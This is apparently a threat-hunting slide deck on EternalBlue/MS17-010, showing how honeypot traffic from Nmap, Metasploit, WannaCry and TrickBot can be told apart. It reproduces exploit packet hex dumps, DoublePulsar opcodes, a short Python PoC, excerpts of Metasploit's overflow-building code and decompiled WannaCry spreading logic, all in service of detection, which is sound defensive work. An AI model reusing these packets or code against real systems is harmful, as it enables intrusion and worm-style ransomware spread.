

永恆之藍的攻擊套路與威脅場域

The Attack Patterns and Threatened Environments of EternalBlue

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Outline

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04 | Threat Hunting of
EternalBlue Related Attack

02 | Background of EternalBlue

05 | Conclusion

03 | Network Based Detection
around EternalBlue and
DoublePulsar


A decorative graphic on the left side of the slide. It features a complex arrangement of hexagons. Some hexagons are solid dark gray, while others are outlined in white. At the vertices of these hexagons, there are small, glowing cyan dots. Some of these dots are connected by thin, light blue lines, creating a network-like structure. The overall effect is a futuristic, technological aesthetic.

Motivation

Keep the Operation Running


What's our Hunting Engine Purpose?

- Capture **real-time network events** for
 - Malware delivering
 - Real cyber attack behavior
 - Suspicious events trigger our hunting rules
- Distribute Hunting Engine nodes with
 - **Reaction** for specific protocols
 - **24/7** packet recording
 - World wilds



Motivation

- Over 5,000 times **PeekNamedPipe** requests found on some nodes on our hunting engine in one month
 - PeekNamedPipe request related to vulnerabilities *MS17-010 patched* which mostly used by *EternalBlue*
 - The most request counts on a node was over 20,000
 - Just trying Windows remote named pipe? Or vulnerability check?





Background of EternalBlue

Keep the Operation Running

MS17-010 and EternalBlue

- Vulnerabilities patched by MS17-010 security patch
 - SMBv1 protocol on TCP/445
 - Vulnerabilities can be chained to RCE in `srv.sys`
 - Impacted all of MS Windows versions in 2017
 - EternalBlue used as attack chain to inject a backdoor

MS17-010 and EternalBlue


- EternalBlue developed by NSA chained the vulnerabilities which MS17-010 patched as main exploitation method
- Microsoft released MS17-010 patch on Mar. 14, 2017
- Toolkit include EternalBlue leaked by Shadow Brokers on Apr. 14, 2017
- WannaCry used EternalBlue for attack and start spreading on May 12, 2017

WannaCry

- WannaCry
 - Ransomware with **worm feature**
 - Appeared after EternalBlue leaked
 - Spreading method based on EternalBlue

WannaCry and EternalBlue

- WannaCry (mssecsvc.exe) spreading flow



Q: How powerful EternalBlue is!
Is there any malware also use it for spreading?


A: Of course. 🐼

TrickBot

- TrickBot, a trojan which most used in APT attack
 - Steal credentials, sensitive data
 - Install backdoor
 - Download another malware / ransomware
 - Dropped by Emotet
- Found use technique based on EternalBlue for spreading in 2019
 1. Infect AD environment^[1]
 2. Download by Emotet and spread Ryuk ransomware^[2]


Difference of EternalBlue and TrickBot

EternalBlue + DoublePulsar



Difference of EternalBlue and TrickBot

Trickbot





Network Based Detection around EternalBlue and DoublePulsar

Network Traffic of EternalBlue – Target Check

- PeekNamedPipe Request
 - Found on malware for checking victim is vulnerable or not
 - Nmap and Metasploit also implement this check

```
▼ SMB (Server Message Block Protocol)
  ▶ SMB Header
  ▼ Trans Request (0x25)
    Word Count (WCT): 16
    Total Parameter Count: 0
    Total Data Count: 0
    Max Parameter Count: 65535
    Max Data Count: 65535
    Max Setup Count: 0
    Reserved: 00
    ▶ Flags: 0x0000
    Timeout: Return immediately (0)
    Reserved: 0000
    Parameter Count: 0
    Parameter Offset: 74
    Data Count: 0
    Data Offset: 74
    Setup Count: 2
    Reserved: 00
    Byte Count (BCC): 7
    Transaction Name: \PIPE\
  ▼ SMB Pipe Protocol
    Function: PeekNamedPipe (0x0023)
    FID: 0x0000
```

SMB Pipe	PeekNamedPipe Request, FID: 0x0000
SMB	Trans Response, Error: STATUS_INSUFF_SERVER_RESOURCES

Response Error Message	Vulnerable
STATUS_INSUFF_SERVER_RESOURCES (0xc0000205)	✓
STATUS_ACCESS_DENIED (0xc0000022)	x

Network Traffic of EternalBlue – Target Check

- Trans2 Request SESSION_SETUP
 - Check DoublePulsar backdoor installed or not

```
SMB Trans2 Request, SESSION_SETUP
SMB Trans2 Response, SESSION_SETUP, Error: STATUS_NOT_IMPLEMENTED
```

```
▼ Trans2 Request (0x32)
  Word Count (WCT): 15
  Total Parameter Count: 12
  Total Data Count: 0
  Max Parameter Count: 1
  Max Data Count: 0
  Max Setup Count: 0
  Reserved: 00
  > Flags: 0x0000
  Timeout: 4 hours, 17 minutes, 8.812 seconds
```

```
0030 f9 82 60 45 00 00 00 00 00 4e ff 53 4d 42 32 00  ..`E....N.SMB2.
0040 00 00 00 18 07 c0 00 00 00 00 00 00 00 00 00 00  .....
0050 00 00 00 08 ff fe 00 08 41 00 0f 0c 00 00 00 01  .....A.....
0060 00 00 00 00 00 00 00 cc 6c eb 00 00 00 0c 00 42  ....1....B
0070 00 00 00 4e 00 01 00 0e 00 0d 00 00 00 00 00 00  ...N.....
0080 00 00 00 00 00 00 00 00
```

1. Add all byte value in Timeout field
 $0xcc + 0x6c + 0xeb = 0x223$
2. AND 0xff
 $0x223 \& 0xff = 0x23$

DoublePulsar OP Code	Command
0x23	Ping
0xc8	Code Execution
0x77	Uninstall

Network Traffic of EternalBlue – Target Check

- Response of Trans2 Request SESSION_SETUP
 - Check DoublePulsar backdoor installed or not

SMB	Trans2 Request, SESSION_SETUP
SMB	Trans2 Response, SESSION_SETUP, Error: STATUS_NOT_IMPLEMENTED

Req. OP Code	Multiplex ID	Status Code	Status
0x23	65	-	x
	81	0x10 (81 – 65 = 16)	Pong

```
Signature: 0000000000000000
Reserved: 0000
> Tree ID: 2048 (\\[REDACTED]\IPC$)
Process ID: 65279
User ID: 2048
Multiplex ID: 65
```

```
Signature: 67c5f99c00000000
Reserved: 0000
> Tree ID: 65535 (\\[REDACTED]\IPC$)
Process ID: 65279
User ID: 0
Multiplex ID: 81
```

Network Traffic of EternalBlue – Main Exploitation

- NT Trans Request
 - Main exploitation target to CVE-2017-0144

▼ SMB (Server Message Block Protocol)
> SMB Header
▼ NT Trans Request (0xa0)
Word Count (WCT): 20
Max Setup Count: 1
Reserved: 0000
Total Parameter Count: 30
Total Data Count: 66512
Max Parameter Count: 30
Max Data Count: 0
Parameter Count: 30
Parameter Offset: 75
Data Count: 976
Data Offset: 104
Setup Count: 1
Function: Unknown (0)
Unknown NT transaction (0) Setup
Byte Count (BCC): 1004
Unknown NT transaction (0) Parameters

SMB	NT Trans Request, <unknown>
SMB	NT Trans Response, <unknown (0)>

000001C5	00 00 04 38 ff 53 4d 42	a0 00 00 00 00 18 07 c0	...8.SMB
000001D5	00 00 00 00 00 00 00 00	00 00 00 00 00 08 ff fe	
000001E5	00 08 41 00 14 01 00 00	1e 00 00 00 d0 03 01 00	..A.....
000001F5	1e 00 00 00 00 00 00 00	1e 00 00 00 4b 00 00 00	K...
00000205	d0 03 00 00 68 00 00 00	01 00 00 00 00 ec 03 00	h...
00000215	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	
00000225	00 00 00 00 00 00 00 00	00 00 00 00 00 00 01 00	
00000235	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	
00000245	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	
00000255	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	
00000265	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	
00000275	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	
00000285	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	

Network Traffic of EternalBlue – Main Exploitation

- TCP/445 packet for allocating **NonPagedPool** through victim handler
 - Multiple connections (5~) initialed with this packet

EternalBlue

```
00000000  00 00 ff f7 fe 53 4d 42 00 00 00 00 00 00 00 00  ....SMB .....
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .....
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .....
00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .....
00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .....
00000050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .....
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .....
00000070  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .....
00000080  00 00 00 00  ....
```

TrickBot

```
00000000  00 00 ff f7 42 41 41 44 00 00 00 00 00 00 00 00  ....BAAD .....
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .....
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .....
00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .....
00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .....
00000050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .....
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .....
00000070  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .....
00000080  00 00 00 00  ....
```

Python PoC code from Github^[1]

```
1 def createConnectionWithBigSMBFirst80(target):
2     sk = socket.create_connection((target, 445))
3     pkt = '\x00' + '\x00' + pack('>H', 0xffff7)
4     pkt += 'BAAD' # can be any
5     pkt += '\x00'*0x7c
6     sk.send(pkt)
7     return sk
```


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Threat Hunting of EternalBlue Related Attack

Keep the Operation Running

Think about WannaCry Spreading Process


```
if ( MS17_010_Vulnerable(Destination, 445u) )
{
    for ( i = 0; i < 5; ++i )
    {
        Sleep(3000u);
        if ( DoublePulsar_Installed(Destination, 1, 445u) )
            break;
        Sleep(3000u);
        MS17_010_Exploit(Destination, 445u);
    }
    Sleep(3000u);
    if ( DoublePulsar_Installed(Destination, 1, 445u) )
        DP_Check_and_Send_Exec_Payload(Destination, 1, 445u);
    endthreadex(0);
    return 0;
}
```



Case Study – Traffic of Target Check

- Guess the scanning purpose
 - Which tool / malware sent the SMB Pipe request

TCP	49368 → 445 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=256 SACK_PERM
TCP	445 → 49368 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=0 MSS=1460 WS=256 SACK_PERM
TCP	49368 → 445 [ACK] Seq=1 Ack=1 Win=65536 Len=0
SMB	Negotiate Protocol Request
SMB	Negotiate Protocol Response
SMB	Session Setup AndX Request, User: .\
SMB	Session Setup AndX Response
SMB	Tree Connect AndX Request, Path: \\[REDACTED]\IPC\$
SMB	Tree Connect AndX Response
SMB Pipe	PeekNamedPipe Request, FID: 0x0000
SMB	Trans Response, Error: STATUS_INSUFF_SERVER_RESOURCES
TCP	49368 → 445 [FIN, ACK] Seq=347 Ack=421 Win=65280 Len=0
TCP	445 → 49368 [ACK] Seq=421 Ack=348 Win=65280 Len=0
TCP	445 → 49368 [RST, ACK] Seq=421 Ack=348 Win=0 Len=0



Traffic of Target Check by Nmap


- Nmap with MS17-010 .nse patch scanning script

```
TCP      48876 → 445 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=2970468861 TSecr=0 WS=128
TCP      445 → 48876 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460 WS=256 SACK_PERM
TCP      48876 → 445 [ACK] Seq=1 Ack=1 Win=64256 Len=0
SMB      Negotiate Protocol Request
TCP      445 → 48876 [ACK] Seq=1 Ack=54 Win=2102272 Len=0
SMB      Negotiate Protocol Response
TCP      48876 → 445 [ACK] Seq=54 Ack=410 Win=64128 Len=0
SMB      Session Setup AndX Request, NTLMSSP_NEGOTIATE
SMB      Session Setup AndX Response, NTLMSSP_CHALLENGE, Error: STATUS_MORE_PROCE
SMB      Session Setup AndX Request, NTLMSSP_AUTH, User: ██████████\guest
SMB      Session Setup AndX Response, Error: STATUS_ACCOUNT_DISABLED
SMB      Session Setup AndX Request, NTLMSSP_NEGOTIATE
SMB      Session Setup AndX Response, NTLMSSP_CHALLENGE, Error: STATUS_MORE_PROCE
SMB      Session Setup AndX Request, NTLMSSP_AUTH, User: \
SMB      Session Setup AndX Response
SMB      Tree Connect AndX Request, Path: \\██████████\IPC$
SMB      Tree Connect AndX Response
SMB Pipe  PeekNamedPipe Request, FID: 0x0000
SMB      Trans Response, Error: STATUS_ACCESS_DENIED
TCP      48876 → 445 [FIN, ACK] Seq=958 Ack=1350 Win=64128 Len=0
```

```
▸ NetBIOS Session Service
▾ SMB (Server Message Block Protocol)
  ▸ SMB Header
  ▾ Session Setup AndX Request (0x73)
    Word Count (WCT): 12
    AndXCommand: No further commands (0xff)
    Reserved: 00
    AndXOffset: 145
    Max Buffer: 65535
    Max Mpx Count: 1
    VC Number: 1
    Session Key: 0x00000000
    Security Blob Length: 66
    Reserved: 00000000
    ▸ Capabilities: 0x80000050, NT SMBs, NT Status Codes, Extended Security
    Byte Count (BCC): 86
    ▸ Security Blob: 604006062b0601050502a0363034a00e300c060a2b0601040182370
    Native OS: Nmap
    Native LAN Manager: Native Lanman
    Primary Domain:
```

Threat Count for MS17-010 Unpatched Target Check

- Total count of PeekNamedPipe requests sent to our hunting engine



Traffic of Target Check by Metasploit

- Metasploit with MS17-010 patch scanner module
 - Hard to determine from **PeekNamedPipe** SMB Pipe request
 - Try to determine in next request in the same session

Traffic of Target Check by Metasploit

- Metasploit with MS17-010 scanner module

```
▼ SMB (Server Message Block Protocol)
  ▼ SMB Header
    Server Component: SMB
    SMB Command: Trans2 (0x32)
    NT Status: STATUS_SUCCESS (0x00000000)
    ▶ Flags: 0x18, Canonicalized Pathnames, Case Sensitivity
    ▶ Flags2: 0xc007, Unicode Strings, Error Code Type, Security
    Process ID High: 0
    Signature: 0000000000000000
    Reserved: 0000
    ▶ Tree ID: 65535 (\\[REDACTED]\IPC$)
    Process ID: 44767
    User ID: 0
    Multiplex ID: 65
  ▼ Trans2 Request (0x32)
    Word Count (WCT): 15
    Total Parameter Count: 12
    Total Data Count: 0
    Max Parameter Count: 1
    Max Data Count: 0
    Max Setup Count: 0
    Reserved: 00
    ▶ Flags: 0x0000
    Timeout: 3 hours, 3.622 seconds
    Reserved: 0000
    Parameter Count: 12
    Parameter Offset: 66
    Data Count: 0
    Data Offset: 78
    Setup Count: 1
    Reserved: 00
    Subcommand: SESSION SETUP (0x000e)
```

```
0040 [REDACTED] 00 00 00 4f ff 53 4d 42 32 00 00 00 00 18
0050 07 c0 00 00 00 00 00 00 00 00 00 00 00 ff ff
0060 df ae 00 00 41 00 0f 0c 00 00 00 01 00 00 00
0070 00 00 00 a6 d9 a4 00 00 00 0c 00 42 00 00 00 4e
0080 00 01 00 0e 00 00 00 0c 00 00 00 00 00 00 00
0090 00 00 00 00 00
```

SMB Pipe	PeekNamedPipe Request, FID: 0x0000
SMB	Trans Response, Error: Unknown error class!
TCP	33069 → 445 [ACK] Seq=583 Ack=425 Win=64128 Len=0 TSval=
SMB	Trans2 Request, SESSION_SETUP
SMB	Trans2 Response<unknown>, Error: STATUS_NOT_IMPLEMENTED

```
206 def do_smb_ms17_010_probe(tree_id)
239 # packet baselines
240 pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_TRANSACTION2
241 pkt['Payload']['SMB'].v['Flags1'] = 0x18
242 pkt['Payload']['SMB'].v['MultiplexID'] = 65
243 pkt['Payload']['SMB'].v['Flags2'] = 0xc007
244 pkt['Payload']['SMB'].v['TreeID'] = tree_id
245 pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
246 pkt['Payload'].v['Timeout'] = 0x00a4d9a6
247 pkt['Payload'].v['ParamCountTotal'] = 12
    pkt['Payload'].v['ParamCount'] = 12
    pkt['Payload'].v['ParamCountMax'] = 1
    pkt['Payload'].v['DataCountMax'] = 0
    pkt['Payload'].v['ParamOffset'] = 66
    pkt['Payload'].v['DataOffset'] = 78
    pkt['Payload'].v['SetupCount'] = setup_count
    pkt['Payload'].v['SetupData'] = setup
    pkt['Payload'].v['Payload'] = trans
    pkt.to_s
259 end
```

DoublePulsar Ping msg

Traffic of Target Check by WannaCry

- WannaCry check target host to spread and infect

PeekNamedPipe Request

```
▼ SMB (Server Message Block Protocol)
  ▼ SMB Header
    Server Component: SMB
    [Response in: 1126]
    SMB Command: Trans (0x25)
    Error Class: Success (0x00)
    Reserved: 00
    Error Code: No Error
    ▶ Flags: 0x18, Canonicalized Pathnames, Case Sensitivity
    ▶ Flags2: 0x2801, Execute-only Reads, Extended Security Negotiation, Long Names All
    Process ID High: 0
    Signature: 0000000000000000
    Reserved: 0000
    ▶ Tree ID: 2048 (\[REDACTED]\IPC$)
    Process ID: 2048
    User ID: 2048
    Multiplex ID: 24261
    ▶ Trans Request (0x25)
  ▼ SMB Pipe Protocol
    Function: PeekNamedPipe (0x0023)
    FID: 0x0000
```


Keep the Operation Running

```
if ( MS17_010_Vulnerable(Destination, 445u) )
{
    for ( i = 0; i < 5; ++i )
    {
        Sleep(3000u);
        if ( DoublePulsar_Installed(Destination, 1, 445u) )
            break;
        Sleep(3000u);
        MS17_010_Exploit(Destination, 445u);
    }
}
Sleep(3000u);
if ( DoublePulsar_Installed(Destination, 1, 445u) )
    DP_Check_and_Send_Exec_Payload(Destination, 1, 445u);
```

```
if ( send(v3, Tree_Connect_AndX_Req_0, v4, 0) != -1 && recv(v3, buf, 1024, 0) != -1 )
{
    TreeID_Low = buf[28];
    ProcessID_Low = buf[28];
    v6 = buf[32];
    UserID_Low = buf[32];
    v7 = buf[33];
    UserID_High = buf[33];
    TreeID_High = buf[29];
    ProcessID_High = buf[29]; // PID = TID
    MultiplexID_Low = buf[34];
    MultiplexID_High = buf[35];
    if ( send(v3, PeekNamedPipe_Req, 78, 0) != -1
        && recv(v3, buf, 1024, 0) != -1
        && buf[9] == 5
        && buf[10] == 2
        && !buf[11]
        && buf[12] == (char)0xC0 ) // STATUS_INSUFF_SERVER_RESOURCES
    {
        closesocket(v3);
        return 1;
    }
}
```

Case Study – Traffic of MS17-010 Exploitation

- Real attack target to MS17-010 unpatched systems possible sent from EternalBlue simulation tools
 - Metasploit framework **ms17_010_eternalblue** plugin
 - FuzzBunch / WannaCry
 - Other tools / malware



MS17-010 Exploitation Traffic by Metasploit

- Hard to distinct between FuzzBunch / WannaCry
 - Metasploit is open source, we have source code!

```
SMB Negotiate Protocol Request
TCP 445 → 40733 [ACK] Seq=1 Ack=52 Win=14528 Len=0 TSval=202800320
SMB Negotiate Protocol Response
TCP 40733 → 445 [ACK] Seq=52 Ack=132 Win=30336 Len=0 TSval=3065915
SMB Session Setup AndX Request, User: anonymous
SMB Session Setup AndX Response
SMB Tree Connect AndX Request, Path: \\[REDACTED]\IPC$
SMB Tree Connect AndX Response
SMB NT Trans Request, <unknown>
SMB NT Trans Response, <unknown (0)>, Error: STATUS_ACCESS_DENIED
TCP 40733 → 445 [ACK] Seq=1347 Ack=345 Win=30336 Len=1448 TSval=3065915
TCP 40733 → 445 [ACK] Seq=1347 Ack=345 Win=30336 Len=1448 TSval=3065915
SMB Trans2 Secondary Request
TCP 40733 → 445 [ACK] Seq=1347 Ack=345 Win=30336 Len=1448 TSval=3065915
TCP 40733 → 445 [ACK] Seq=1347 Ack=345 Win=30336 Len=1448 TSval=3065915
SMB Trans2 Secondary Request
```

```
NT Trans Request (0xa0)
Word Count (WCT): 20
Max Setup Count: 1
Reserved: 0000
Total Parameter Count: 30
Total Data Count: 66512
Max Parameter Count: 30
Max Data Count: 0
Parameter Count: 30
Parameter Offset: 75
Data Count: 976
Data Offset: 104
Setup Count: 1
Function: Unknown (0)
Unknown NT transaction (0) Setup
Byte Count (BCC): 1004
Unknown NT transaction (0) Parameters
```

```
1534 def make_smb1_nt_trans_packet(tree_id, user_id)
1543     packet.parameter_block.max_setup_count = 1
1544     packet.parameter_block.total_parameter_count = 30
1545     packet.parameter_block.total_data_count = 66512
1546     packet.parameter_block.max_parameter_count = 30
1547     packet.parameter_block.max_data_count = 0
1548     packet.parameter_block.parameter_count = 30
1549     packet.parameter_block.parameter_offset = 75
1550     packet.parameter_block.data_count = 976
1551     packet.parameter_block.data_offset = 104
1552     packet.parameter_block.function = 0
1553
1554     packet.parameter_block.setup << 0x0000
1555
1556     packet.data_block.byte_count = 1004
1557     packet.data_block.trans2_parameters = "\\x00" * 31 + "\\x01" + ("\\x00" * 973)
```

MS17-010 Exploitation Traffic by Metasploit

```
SMB Trans2 Secondary Request, Data: 62416 of 4096, FID: 0x0000Echo Request
TCP 445 → 40733 [ACK] Seq=735 Ack=46235 Win=64128 Len=0 TSval=2028003221 TSres=2028003221
SMB Trans2 Response<unknown>, Error: STATUS_INVALID_PARAMETER
TCP 445 → 40733 [ACK] Seq=774 Ack=50579 Win=64128 Len=0 TSval=2028003221 TSres=2028003221
SMB Trans2 Response<unknown>, Error: STATUS_INVALID_PARAMETER
TCP 445 → 40733 [ACK] Seq=813 Ack=54923 Win=64128 Len=0 TSval=2028003222 TSres=2028003222
SMB Trans2 Response<unknown>, Error: STATUS_INVALID_PARAMETER
TCP 445 → 40733 [ACK] Seq=852 Ack=59267 Win=64128 Len=0 TSval=2028003222 TSres=2028003222
SMB Trans2 Response<unknown>, Error: STATUS_INVALID_PARAMETER
TCP 445 → 40733 [ACK] Seq=891 Ack=63695 Win=64128 Len=0 TSval=2028003222 TSres=2028003222
SMB Trans2 Response<unknown>, Error: STATUS_INVALID_PARAMETER
SMB Echo Response
TCP 40733 → 445 [ACK] Seq=63695 Ack=983 Win=30336 Len=0 TSval=306591569 TSres=306591569
TCP 40733 → 445 [ACK] Seq=63695 Ack=983 Win=30336 Len=1448 TSval=306591575 TSres=306591575
TCP 40733 → 445 [ACK] Seq=65143 Ack=983 Win=30336 Len=1448 TSval=306591575 TSres=306591575
SMB Trans2 Secondary Request, Data: 66512 of 4096, FID: 0x0000
```

0b90	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAA AAAAAAAAAA
0ba0	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAA AAAAAAAAAA
0bb0	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAA AAAAAAAAAA
0bc0	41 41 41 41 41 41 80 00 a8 00 00 00 00 00 00 00	AAAAAA..
0bd0	00 00 00 00 00 00 00 00 00 00 ff ff 00 00 00 00	
0be0	00 00 ff ff 00 00 00 00 00 00 00 00 00 00 00 00	
0bf0	00 00 00 00 00 00 00 00 00 00 00 f1 df ff 00 00	
0c00	00 00 00 00 00 00 20 f0 df ff 00 f1 df ff ff ff	
0c10	ff ff 60 00 04 10 00 00 00 00 80 ef df ff 00 00	..`.....
0c20	00 00 10 00 d0 ff ff ff ff ff 18 01 d0 ff ff ff	
0c30	ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00	
0c40	00 00 60 00 04 10 00 00 00 00 00 00 00 00 00	..`.....
0c50	00 00 90 ff cf ff ff ff ff ff 00 00 00 00 00	
0c60	00 00 80 10 00 00 00 00 00 00 00 00 00 00 00	
0c70	00 00 39 bb 41 41 41 41 41 41 41 41 41 41 41	..9·AAAA AAAAAAAAAA
0c80	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAA AAAAAAAAAA
0c90	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAA AAAAAAAAAA

```
def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)
```

```
pkt << "\x41" * 2957
```

Insert buffer with "A"

```
pkt << "\x80\x00\xa8\x00" # overflow
```

```
pkt << "\x00" * 0x10
```

```
pkt << "\xff\xff"
```

```
pkt << "\x00" * 0x6
```

```
pkt << "\xff\xff"
```

```
pkt << "\x00" * 0x16
```

MS17-010 Exploitation Traffic by WannaCry

- Difference between the payload sent by Metasploit and WannaCry
 - Different char. inserted

```
SMB Session Setup AndX Request, User: anonymous
SMB Session Setup AndX Response
SMB Tree Connect AndX Request, Path: \\[REDACTED]\IPC$
SMB Tree Connect AndX Response
SMB NT Trans Request, <unknown>
SMB NT Trans Response, <unknown (0)>
TCP 50742 → 445 [PSH, ACK] Seq=1454 Ack=434 Win=65024 Len=1460
TCP 50742 → 445 [PSH, ACK] Seq=2914 Ack=434 Win=65024 Len=1460
TCP 445 → 50742 [ACK] Seq=434 Ack=4374 Win=65536 Len=0
SMB Trans2 Secondary Request, Data: 5072 of 4096, FID: 0x0000
TCP 50742 → 445 [PSH, ACK] Seq=5607 Ack=434 Win=65024 Len=1460
TCP 445 → 50742 [ACK] Seq=434 Ack=7067 Win=65536 Len=0
TCP 50742 → 445 [PSH, ACK] Seq=7067 Ack=434 Win=65024 Len=1460
SMB Trans2 Secondary Request, Data: 9168 of 4096, FID: 0x0000
```

```
0810 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0830 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0840 83 f3 68 36 61 67 4c 43 71 50 71 56 79 58 69 32 ..h6agLC qPqVyXi2
0850 56 53 51 38 4f 36 59 62 39 69 6a 42 58 35 34 6a VSQ806Yb 9ijBX54j
0860 59 36 4b 4d 2b 73 7a 33 33 4e 6d 53 36 54 4b 38 Y6KM+sz3 3NmS6TK8
0870 58 6c 4f 6b 39 32 30 73 30 45 30 61 61 6a 4f 56 X10k920s 0E0aaj0V
0880 2b 2b 77 72 52 39 32 64 73 31 46 4f 4c 42 4f 2b ++wrR92d s1FOLB0+
0890 65 76 4c 50 6a 34 73 49 76 41 6a 4c 76 61 4c 64 evLPj4sI vAjLvaLd
08a0 67 6b 38 2b 42 6c 4e 5a 73 38 50 4d 61 39 62 51 gk8+B1NZ s8PMa9bQ
08b0 33 34 30 4a 38 33 6e 78 31 70 34 66 2b 47 4c 70 340J83nx 1p4f+GLp
08c0 62 78 55 79 7a 73 41 7a 6b 45 39 67 42 33 68 42 bxUyzsAz kE9gB3hB
08d0 59 70 33 2b 30 68 4e 58 4d 6a 62 79 6a 58 77 42 Yp3+0hNX MjbyjXwB
08e0 34 30 51 34 4b 69 44 62 69 70 2f 64 37 4e 30 43 40Q4KiDb ip/d7N0C
```

WannaCry

```
0810 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0830 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0840 83 f3 41 41 41 41 41 41 41 41 41 41 41 41 41 41 ..AAAAAA AAAAAAAA
0850 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAA AAAAAAAA
0860 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAA AAAAAAAA
0870 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAA AAAAAAAA
0880 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAA AAAAAAAA
0890 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAA AAAAAAAA
08a0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAA AAAAAAAA
08b0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAA AAAAAAAA
08c0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAA AAAAAAAA
08d0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAA AAAAAAAA
08e0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAA AAAAAAAA
```

Metasploit

MS17-010 Exploitation Traffic by WannaCry

- Payload hard coded in WannaCry sample

```
0810 packet hexump 00 00 00 00 00 00 00 00 .....
0820 00 00 00 00 00 00 00 00 .....
0830 00 00 00 00 00 00 00 00 .....
0840 83 f3 68 36 61 67 4c 43 71 50 71 56 79 58 69 32 ..h6agLC qPqVyXi2
0850 56 53 51 38 4f 36 59 62 39 69 6a 42 58 35 34 6a VSQ806Yb 9ijBX54j
0860 59 36 4b 4d 2b 73 7a 33 33 4e 6d 53 36 54 4b 38 Y6KM+sz3 3NmS6TK8
0870 58 6c 4f 6b 39 32 30 73 30 45 30 61 61 6a 4f 56 X10k920s 0E0aaajOV
0880 2b 2b 77 72 52 39 32 64 73 31 46 4f 4c 42 4f 2b ++wrR92d s1FOLBO+
0890 65 76 4c 50 6a 34 73 49 76 41 6a 4c 76 61 4c 64 evLPj4sI vAjLvaLd
08a0 67 6b 38 2b 42 6c 4e 5a 73 38 50 4d 61 39 62 51 gk8+B1NZ s8PMa9bQ
08b0 33 34 30 4a 38 33 6e 78 31 70 34 66 2b 47 4c 70 340J83nx 1p4f+GLp
08c0 62 78 55 79 7a 73 41 7a 6b 45 39 67 42 33 68 42 bxUyzsAz kE9gB3hB
08d0 59 70 33 2b 30 68 4e 58 4d 6a 62 79 6a 58 77 42 Yp3+0hNX MjbyjXwB
08e0 34 30 51 34 4b 69 44 62 69 70 2f 64 37 4e 30 43 40Q4KiDb ip/d7N0C

0060 2b 44 58 69 4b 37 32 31 36 75 72 59 52 64 4b 77 +DXiK721 6urYRdKw
0070 36 72 47 43 2b 5a 39 6b 47 51 37 7a 61 70 30 38 6rGC+Z9k GQ7zap08
0080 38 59 46 70 70 6e 6c 2b 56 78 57 70 68 71 5a 63 8YFppnl+ VxWphqZc
0090 6b 2f 57 51 80 00 a8 00 00 00 00 00 00 00 00 00 k/WQ.....
00a0 00 00 00 00 00 00 00 00 ff ff 00 00 00 00 00 00 .....
00b0 ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00c0 00 00 00 00 00 00 00 00 00 f1 df ff 00 00 00 00 .....
00d0 00 00 00 00 20 f0 df ff 00 f1 df ff ff ff ff ff .....
00e0 60 00 04 10 00 00 00 00 80 ef df ff 00 00 00 00 .....
00f0 10 00 d0 ff ff ff ff ff 18 01 d0 ff ff ff ff ff .....
0100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0110 60 00 04 10 00 00 00 00 00 00 00 00 00 00 00 .....
0120 90 ff cf ff ff ff ff ff 00 00 00 00 00 00 00 .....
0130 80 10 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0140 39 bb 66 64 34 64 39 4c 37 4c 53 38 53 39 42 2f 9·fd4d9L 7LS8S9B/
